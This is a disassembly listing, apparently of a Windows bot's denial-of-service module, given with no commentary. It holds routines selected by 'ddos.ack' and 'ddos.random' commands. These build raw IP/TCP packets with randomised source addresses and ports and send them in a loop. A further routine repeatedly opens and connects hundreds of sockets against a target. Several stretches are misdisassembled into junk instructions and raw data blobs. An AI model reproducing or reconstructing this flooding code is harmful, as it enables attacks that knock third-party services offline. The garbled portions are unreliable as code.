loc_412D4C:				; CODE XREF: seg000:00412D41j
		push	offset aDdos_ack ; "ddos.ack"
		push	dword ptr [ebp+10h] ; CODE XREF: seg000:00412DC3j
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412D68
		mov	[ebp-0Ch], ebx
		mov	byte ptr [ebp-7], 10h
		jmp	short loc_412DA0
; ---------------------------------------------------------------------------


loc_412D68:				; CODE XREF: seg000:00412D5Dj
		push	offset aDdos_random ; "ddos.random"
		push	dword ptr [ebp+10h]
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412DA0
		call	sub_41BAD2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp-0Ch], edx
		call	sub_41BAD2	; CODE XREF: seg000:00412DCFj
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp-7], dl


loc_412DA0:				; CODE XREF: seg000:00412D4Aj
					; seg000:00412D66j ...
		push	4000h
		mov	byte ptr [ebp-8], 50h
		call	ds:dword_4CDBF8	; htons
		mov	[ebp-6], ax
		lea	eax, [ebp-48h]
		push	eax
		mov	[ebp-2], bx
		mov	[ebp+10h], ebx
		call	near ptr 0B10000h
		loop	near ptr loc_412D51+1
		inc	ebp
		in	al, 50h
		call	near ptr 0B10000h
		and	bh, bh
		jnz	short near ptr loc_412D89+4
		mov	eax, [ebp+18h]
		cdq
		push	dword ptr [ebp-48h]
		push	edx
		push	eax
		call	sub_41D4A0
		add	eax, [ebp-1Ch]
		push	14h
		pop	esi
		adc	edx, [ebp-18h]
		mov	[ebp-3Ch], eax
		mov	[ebp-38h], edx


loc_412DEE:				; CODE XREF: seg000:00412F2Aj
		mov	[ebp-4], bx
		call	sub_41BAD2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ds:dword_4CDBF8	; htons
		mov	[ebp-14h], ax
		call	sub_41BAD2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41BAD2
		or	edi, eax
		push	edi
		call	ds:dword_4CDBF8	; htons
		movzx	eax, ax
		mov	[ebp-10h], eax
		mov	eax, [ebp+0Ch]
		inc	dword ptr [ebp+0Ch]
		push	eax
		call	ds:dword_4CDBF4	; htonl
		mov	[ebp-28h], eax
		mov	eax, [ebp-24h]
		push	esi
		mov	[ebp-74h], eax
		mov	[ebp-70h], bl
		mov	byte ptr [ebp-6Fh], 6
		call	ds:dword_4CDBF8	; htons
		mov	[ebp-6Eh], ax
		mov	eax, [ebp-28h]
		mov	[ebp-78h], eax
		lea	eax, [ebp-78h]
		push	20h
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_41C500
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		call	sub_41C500
		lea	eax, [ebp-0B4h]
		push	34h
		push	eax
		call	sub_40AB51
		mov	[ebp-4], ax
		lea	eax, [ebp-34h]
		push	esi
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_41C500
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_41C500
		push	4
		lea	eax, [ebp-8Ch]
		push	ebx
		push	eax
		call	sub_41B780
		add	esp, 44h
		lea	eax, [ebp-0B4h]
		push	28h
		push	eax
		call	sub_40AB51
		mov	[ebp-2Ah], ax
		lea	eax, [ebp-34h]
		push	esi
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_41C500
		add	esp, 14h
		lea	eax, [ebp-58h]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp-0B4h]
		push	28h
		push	eax
		push	dword ptr [ebp-20h]
		call	ds:dword_4CDC5C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412F49
		add	[ebp+10h], eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	near ptr 0B10000h
		xchg	cl, [ebx+453BE845h]
		enter	127Fh, 0Fh
		mov	edx, cs
; ---------------------------------------------------------------------------
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1Ch]
		cmp	eax, [ebp-3Ch]
		jb	loc_412DEE
		mov	ebx, [ebp+10h]


loc_412F33:				; CODE XREF: seg000:00412CB4j
					; seg000:00412F70j
		push	dword ptr [ebp-20h]
		call	ds:dword_4CDC90	; closesocket
		pop	esi


loc_412F3D:				; CODE XREF: seg000:00412C97j
		call	ds:dword_4CDB50	; WSACleanup
		mov	eax, ebx


loc_412F45:				; CODE XREF: seg000:00412C77j
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_412F49:				; CODE XREF: seg000:00412F07j
					; DATA XREF: seg002:off_43CE1Co
		call	ds:dword_4CDB8C	; WSAGetLastError
		push	eax
		lea	eax, [ebp-0F4h]
		push	offset dword_43875C
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-0F4h]
		push	eax
		call	sub_4152AE
		add	esp, 10h
		jmp	short loc_412F33
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A9E8
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B969
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B969
		mov	edi, eax
		call	sub_41BAD2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	loc_412C3C
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412FBF
		inc	eax


loc_412FBF:				; CODE XREF: seg000:00412FBCj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
word_412FCE	dw 8B55h		; DATA XREF: seg000:00408195o
		dd 0BCEC81ECh, 8B000003h, 56530845h, 33686A57h,	0F08B59DBh
		dd 0FE44BD8Dh, 0FF68FFFFh, 43000000h, 0A5F3036Ah, 9889026Ah
		dd 19Ch, 0DC7815FFh, 0F883004Ch, 0FC4589FFh, 15FF5F75h
		dd 4CDB8Ch, 44858D50h, 68FFFFFCh, 43885Ch, 8A54E850h, 0FF330000h
		dd 390CC483h, 2075DC7Dh, 44858D57h, 0FFFFFFFCh,	8D50D875h
		dd 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h, 0FF691DE8h, 14C483FFh
		dd 0FC44858Dh, 0E850FFFFh, 2256h, 0E8C875FFh, 0FFFF8227h
		dd 0E8575959h, 6FCF98h,	0F44D8D6Bh, 3351046Ah, 57026AFFh
		dd 0F45D8950h, 0DBD815FFh, 0F883004Ch, 0FF5D75FFh, 4CDB8C15h
		dd 858D5000h, 0FFFFFC44h, 43882C68h, 0DBE85000h, 83000089h
		dd 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh,	858D50D8h
		dd 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF68A6h, 8D14C483h
		dd 0FFFC4485h, 0DFE850FFh, 0FF000021h, 0B0E8C875h, 59FFFF81h
		dd 21E85759h, 3D006FCFh, 0FE48858Dh, 0FF50FFFFh, 4CDC3815h
		dd 0FFF88300h, 858D5575h, 0FFFFFC44h, 43880C68h, 73E85000h
		dd 39000089h, 5959DC7Dh, 8D572075h, 0FFFC4485h,	0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 3FE8FFFFh,	83FFFF68h
		dd 858D14C4h, 0FFFFFC44h, 2178E850h, 75FF0000h,	8149E8C8h
		dd 5959FFFFh, 0CEBAE857h, 6AA7006Fh, 0E4458D10h, 2DE85057h
		dd 83000086h, 0C7660CC4h, 2E445h, 0F815FF57h, 66004CDBh
		dd 8DE64589h, 0FFFE4885h, 15FF50FFh, 4CDC38h, 80A8358Bh
		dd 45890042h, 87D89E8h,	4589D6FFh, 11EE9F8h, 1C680000h
		dd 0C6000004h, 4D094005h, 15FF4500h, 4CDBF8h, 66D47D39h
		dd 4D0942A3h, 1D896600h, 4D0944h, 463D8966h, 0C6004D09h
		dd 4D094805h, 1D888000h, 4D0949h, 4A3D8966h, 74004D09h
		dd 8904E830h, 0D88B0000h, 0E808E3C1h, 88FAh, 0E3C1D803h
		dd 88F0E808h, 0D8030000h, 0E808E3C1h, 88E6h, 1D89D803h
		dd 4D094Ch, 0EB43DB33h,	44B5FF18h, 0E8FFFFFEh, 0FFFF78F4h
		dd 15FF5059h, 4CDC38h, 4D094CA3h, 0E8458B00h, 4D0950A3h
		dd 88B4E800h, 0B9990000h, 100h,	1588F9F7h, 4D0954h, 88A1E8h
		dd 0B99900h, 0F7000001h, 551588F9h, 0E8004D09h,	888Eh
		dd 0F0B999h, 680000h, 0F7000004h, 3D8966F9h, 4D0956h, 5A1D8966h
		dd 42004D09h, 58158966h, 0E8004D09h, 8866h, 0FFB999h, 0F9F70000h
		dd 95C6852h, 1E8004Dh, 83000085h, 458D0CC4h, 50106AE4h
		dd 41C6857h, 40680000h,	0FF004D09h, 15FFFC75h, 4CDC5Ch
		dd 0FFFF883h, 9F84h, 845FF00h, 452BD6FFh, 3E8B9F8h, 0D2330000h
		dd 453BF1F7h, 0CB860FD0h, 0FFFFFFFEh, 15FFFC75h, 4CDC90h
		dd 3308458Bh, 3CC06BD2h, 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h
		dd 48858D50h, 0FFFFFFFEh, 8D500875h, 0FFFEC885h, 858D50FFh
		dd 0FFFFFC44h, 4387C068h, 77E85000h, 83000087h,	7D391CC4h
		dd 572075DCh, 0FC44858Dh, 75FFFFFFh, 858D50D8h,	0FFFFFF48h
		dd 44B5FF50h, 0E8FFFFFEh, 0FFFF6642h, 8D14C483h, 0FFFC4485h
		dd 7BE850FFh, 0FF00001Fh, 4CE8C875h, 59FFFF7Fh,	0BDE85759h
		dd 0DB006FCCh, 0FFFC75FFh, 4CDC9015h, 8C15FF00h, 50004CDBh
		dd 0FE48858Dh, 75FFFFFFh, 78685008h, 8D004387h,	0FFFC4485h
		dd 20068FFh, 0E8500000h, 87FCh,	3918C483h, 2075DC7Dh, 44858D57h
		dd 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h
		dd 0FF65CDE8h, 14C483FFh, 0FC44858Dh, 0E850FFFFh, 1F06h
		dd 0E8C875FFh, 0FFFF7ED7h, 0E8575959h, 6FCC48h
		db 57h
byte_4133B9	db 55h,	8Bh, 0ECh	; DATA XREF: seg000:00406F95o
		dd 10320B8h, 894AE800h,	458B0000h, 57565308h, 0F08B496Ah
		dd 0BCBD8D59h, 0F3FFFFFEh, 47FF33A5h, 120B889h,	15FF0000h
		dd 4CDB80h, 8D084589h, 0FFFF4085h, 15FF50FFh, 4CDC38h
		dd 0DB33F08Bh, 0FE83C033h, 8D1175FFh, 0FFFF4085h, 15FF50FFh
		dd 4CDC7Ch, 674C33Bh, 0FF087D83h, 858D5D75h, 0FFFFFF40h
		dd 0BC858D50h, 68FFFFFCh, 4388B4h, 8644E850h, 0C4830000h
		dd 0D85D390Ch, 8D532075h, 0FFFCBC85h, 0D475FFFFh, 0C0858D50h
		dd 50FFFFFEh, 0FEBCB5FFh, 0FE8FFFFh, 83FFFF65h,	858D14C4h
		dd 0FFFFFCBCh, 1E48E850h, 75FF0000h, 7E19E8D0h,	5959FFFFh
		dd 0CB8AE857h, 3B6B006Fh, 8B0C74C3h, 8B0C40h, 4589008Bh
		dd 8903EBFCh, 1C6AFC75h, 53E0458Dh, 82EAE850h, 4D830000h
		dd 0DCB8FFE8h, 830000FFh, 45390CC4h, 89037EC4h,	7D39C445h
		dd 89037DC8h, 0F633C87Dh, 7EC05D39h, 0C875FF26h, 6AE0458Dh
		dd 8D53501Ch, 0FEFCE085h, 0C475FFFFh, 0FC75FF50h, 0FF0875FFh
		dd 4CDB1015h, 753B4600h, 0FFDA7CC0h, 15FF0875h,	4CDCACh
		dd 0FF40858Dh, 8D50FFFFh, 0FFFCBC85h, 888868FFh, 0E8500043h
		dd 8576h, 390CC483h, 2075D85Dh,	0BC858D53h, 0FFFFFFFCh
		dd 8D50D475h, 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF6441E8h
		dd 14C483FFh, 0FCBC858Dh, 0E850FFFFh, 1D7Ah, 0E8D075FFh
		dd 0FFFF7D4Bh, 0E8535959h, 6FCABCh
		db 0DDh
byte_413545	db 55h,	8Bh, 0ECh	; DATA XREF: seg000:004071EBo
		dd 10310B8h, 87BEE800h,	458B0000h, 57565308h, 0F08B496Ah
		dd 0CCBD8D59h, 0F3FFFFFEh, 46F633A5h, 120B089h,	15FF0000h
		dd 4280A8h, 854EE850h, 6A590000h, 6A026A11h, 7815FF02h
		dd 8B004CDCh, 6AFF33D8h, 0F0458D10h, 0E9E85057h, 83000081h
		dd 858D0CC4h, 0FFFFFF50h, 0F045C766h, 0FF500002h, 4CDC3815h
		dd 0FFF88300h, 75084589h, 50858D75h, 50FFFFFFh,	0DC7C15FFh
		dd 0C73B004Ch, 858D5D75h, 0FFFFFF50h, 0CC858D50h, 68FFFFFCh
		dd 438908h, 8498E850h, 0C4830000h, 0E87D390Ch, 8D572075h
		dd 0FFFCCC85h, 0E475FFFFh, 0D0858D50h, 50FFFFFEh, 0FECCB5FFh
		dd 63E8FFFFh, 83FFFF63h, 858D14C4h, 0FFFFFCCCh,	1C9CE850h
		dd 75FF0000h, 7C6DE8E0h, 5959FFFFh, 0C9DEE856h,	8BFC006Fh
		dd 8B0C40h, 458D03EBh, 39008B08h, 4589DC7Dh, 0E81175F4h
		dd 8496h, 0FFDCB999h, 0F9F70000h, 3EB5242h, 0FFDC75FFh
		dd 4CDBF815h, 0DC753900h, 0F2458966h, 7589037Dh, 0FFFFB8DCh
		dd 45390000h, 89037EDCh, 458BDC45h, 990A6AD0h, 39F9F759h
		dd 4589D87Dh, 890375D0h, 0F633D875h, 7ED47D39h,	8448E872h
		dd 0B9990000h, 0FFh, 3B46F9F7h,	9488D475h, 0FEFCEF35h
		dd 0EBE67CFFh, 0D04DFF56h, 8D5E0B6Ah, 106AF045h, 1FE85750h
		dd 6A000084h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh, 0FEFCF085h
		dd 0FF5350FFh, 4CDC5C15h, 0D875FF00h, 806415FFh, 754E0042h
		dd 0DC7D39CEh, 0EFE81975h, 99000083h, 0FFDCB9h,	42F9F700h
		dd 0F815FF52h, 66004CDBh, 39F24589h, 0A57FD07Dh, 8DD04DFFh
		dd 0FFFF5085h, 858D50FFh, 0FFFFFCCCh, 4388DC68h, 5FE85000h
		dd 83000083h, 7D390CC4h, 572075E8h, 0FCCC858Dh,	75FFFFFFh
		dd 858D50E4h, 0FFFFFED0h, 0CCB5FF50h, 0E8FFFFFEh, 0FFFF622Ah
		dd 8D14C483h, 0FFFCCC85h, 63E850FFh, 0FF00001Bh, 34E8E075h
		dd 59FFFF7Bh, 0A5E85759h, 0B6006FC8h
dword_41375C	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: seg000:0040685Bo
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 115E8h
		dd 858D5000h, 0FFFFFBECh, 43893068h, 0C7E85000h, 33000082h
		dd 18C483F6h, 75F87539h, 858D5620h, 0FFFFFBECh,	50F475FFh
		dd 0FF70858Dh, 0FF50FFFFh, 0FFFDECB5h, 6190E8FFh, 0C483FFFFh
		dd 0EC858D14h, 50FFFFFBh, 1AC9E8h, 0F075FF00h, 0FF7A9AE8h
		dd 565959FFh, 6FC80BE8h, 5E5F0F00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4137F8	proc near		; CODE XREF: seg000:004138D9p

var_654		= dword	ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	ds:dword_4CDBF8	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_4138AE
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413842:				; CODE XREF: sub_4137F8+B2j
		xor	esi, esi


loc_413844:				; CODE XREF: sub_4137F8+77j
		push	0
		push	1
		push	2
		call	ds:dword_428220	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+esi*4+var_654], eax
		jz	short loc_41386C
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	ds:dword_4281F8	; ioctlsocket


loc_41386C:				; CODE XREF: sub_4137F8+62j
		inc	esi
		cmp	esi, edi
		jl	short loc_413844
		xor	esi, esi


loc_413873:				; CODE XREF: sub_4137F8+91j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	[ebp+esi*4+var_654]
		call	ds:dword_428210	; connect
		inc	esi
		cmp	esi, edi
		jl	short loc_413873
		push	64h
		call	ds:dword_428064	; Sleep
		xor	esi, esi


loc_413895:				; CODE XREF: sub_4137F8+ADj
		push	[ebp+esi*4+var_654]
		call	ds:dword_42821C	; closesocket
		inc	esi
		cmp	esi, edi
		jl	short loc_413895
		dec	[ebp+arg_4]
		jnz	short loc_413842
		pop	edi
		pop	esi


loc_4138AE:				; CODE XREF: sub_4137F8+3Ej
		xor	eax, eax
		leave
		retn
sub_4137F8	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A9E8
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B969
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B969
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4137F8
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4138E6
		inc	eax


loc_4138E6:				; CODE XREF: seg000:004138E3j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_4138F5	db 55h,	8Bh, 0ECh	; DATA XREF: seg000:00407EADo
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h
		dd 858D50FFh, 0FFFFFDF0h, 30CE850h, 8D500000h, 0FFFBEC85h
		dd 895C68FFh, 0E8500043h, 812Eh, 0C483F633h, 0F8753918h
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 0F7E8FFFFh, 83FFFF5Fh, 858D14C4h, 0FFFFFBECh
		dd 1930E850h, 75FF0000h, 7901E8F0h, 5959FFFFh, 0C672E856h
		dd 5F9B006Fh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413991	proc near		; CODE XREF: seg000:00413C7Ep

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= word ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	ds:dword_4CDB68	; WSAStartup
		test	eax, eax
		jz	short loc_4139D1
		xor	eax, eax
		jmp	loc_413C15
; ---------------------------------------------------------------------------


loc_4139D1:				; CODE XREF: sub_413991+37j
		xor	edi, edi
		inc	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_4CDC9C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413C0D
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	ds:dword_4CDBD8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_413C03
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	ds:dword_4CDBF8	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	ds:dword_4CDBF8	; htons
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	ds:dword_4CDBF8	; htons
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	ds:dword_4CDBF8	; htons
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 0B10000h
		out	8Dh, eax
		inc	ebp
		clc
		push	eax
		call	near ptr 0B10000h
		push	small [ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D4A0
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_413ABC:				; CODE XREF: sub_413991+25Dj
					; sub_413991+269j
		mov	[ebp+var_24], bx
		call	sub_41BAD2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ds:dword_4CDBF8	; htons
		mov	[ebp+var_34], ax
		call	sub_41BAD2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41BAD2
		or	edi, eax
		push	edi
		call	ds:dword_4CDBF8	; htons
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	ds:dword_4CDBF4	; htonl
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	ds:dword_4CDBF8	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C500
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C500
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AB51
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C500
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C500
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B780
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AB51
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C500
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	ds:dword_4CDC5C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413C19
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 0B10000h
		sbb	cl, [ebx-39C403BBh]
		jg	short loc_413C00
		jl	loc_413ABC
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jb	loc_413ABC


loc_413C00:				; CODE XREF: sub_413991+25Bj
		mov	ebx, [ebp+arg_8]


loc_413C03:				; CODE XREF: sub_413991+78j
					; sub_413991+2AFj
		push	[ebp+var_C]
		call	ds:dword_4CDC90	; closesocket
		pop	esi


loc_413C0D:				; CODE XREF: sub_413991+5Bj
		call	ds:dword_4CDB50	; WSACleanup
		mov	eax, ebx


loc_413C15:				; CODE XREF: sub_413991+3Bj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_413C19:				; CODE XREF: sub_413991+247j
		call	ds:dword_4CDB8C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_438984
		push	eax
		call	sub_41BA76
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4152AE
		add	esp, 10h
		jmp	short loc_413C03
sub_413991	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A9E8
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B969
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B969
		mov	edi, eax
		call	sub_41BAD2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_413991
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413C8B
		inc	eax


loc_413C8B:				; CODE XREF: seg000:00413C88j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
word_413C9A	dw 8B55h		; DATA XREF: seg000:00408815o
		dd 94EC81ECh, 8B000003h, 57560845h, 8B59656Ah, 6CBD8DF0h
		dd 0F3FFFFFEh, 9080C7A5h, 1000001h, 8D000000h, 0FFFEF085h
		dd 9EE850FFh, 5900007Ch, 70858D50h, 50FFFFFEh, 0DC3815FFh
		dd 0E850004Ch, 5Bh, 6C858D50h, 68FFFFFCh, 4389A4h, 7D84E850h
		dd 0F6330000h, 3914C483h, 2075F875h, 6C858D56h,	0FFFFFFFCh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFE6Ch, 0FF5C4DE8h
		dd 14C483FFh, 0FC6C858Dh, 0E850FFFFh, 1586h, 0E8F075FFh
		dd 0FFFF7557h, 0E8565959h, 6FC2C8h, 555E5FFBh, 0EC81EC8Bh
		dd 98h,	83575653h, 0FFFF78A5h, 46A00FFh, 0A86583h, 6AC9335Eh
		dd 0BB5A4106h, 0FFh, 7D8DC033h,	7C8D89ACh, 0C7FFFFFFh
		dd 28045h, 75890000h, 88558984h, 88C45C7h, 0C7000000h
		dd 0C9045h, 45C70000h, 1194h, 9845C700h, 16h, 299C45C7h
		dd 0C7000000h, 3AA045h,	5D890000h, 0B04589A4h, 0D47D8DABh
		dd 89B44589h, 45C7B845h, 2000BCh, 0C0758900h, 0C7C45589h
		dd 3FFFC845h, 4D890000h, 0D04589CCh, 0ABD84D89h, 100BFh
		dd 0DAE85700h, 59000093h, 57FC4589h, 0C15FF50h,	0FF004CDCh
		dd 15FFFC75h, 4CDC7Ch, 530C408Bh, 26A036Ah, 8B008Bh, 0FFF44589h
		dd 4CDC7815h, 0D84D8D00h, 26A5156h, 8950006Ah, 15FFFC45h
		dd 4CDBD8h, 200BEh, 0A2E85600h,	8B000078h, 4280A83Dh, 45895900h
		dd 89D7FFF8h, 458BF045h, 29A6808h, 85890000h, 0FFFFFF6Ch
		dd 6885C766h, 2FFFFFFh,	0F815FF00h, 66004CDBh, 0FF6A8589h
		dd 0CAE9FFFFh, 0E8000000h, 7C72h, 0F7CB8B99h, 0F4458BF9h
		dd 0FFFFFF25h, 18E2C100h, 5589D00Bh, 7C58E8F4h,	8B990000h
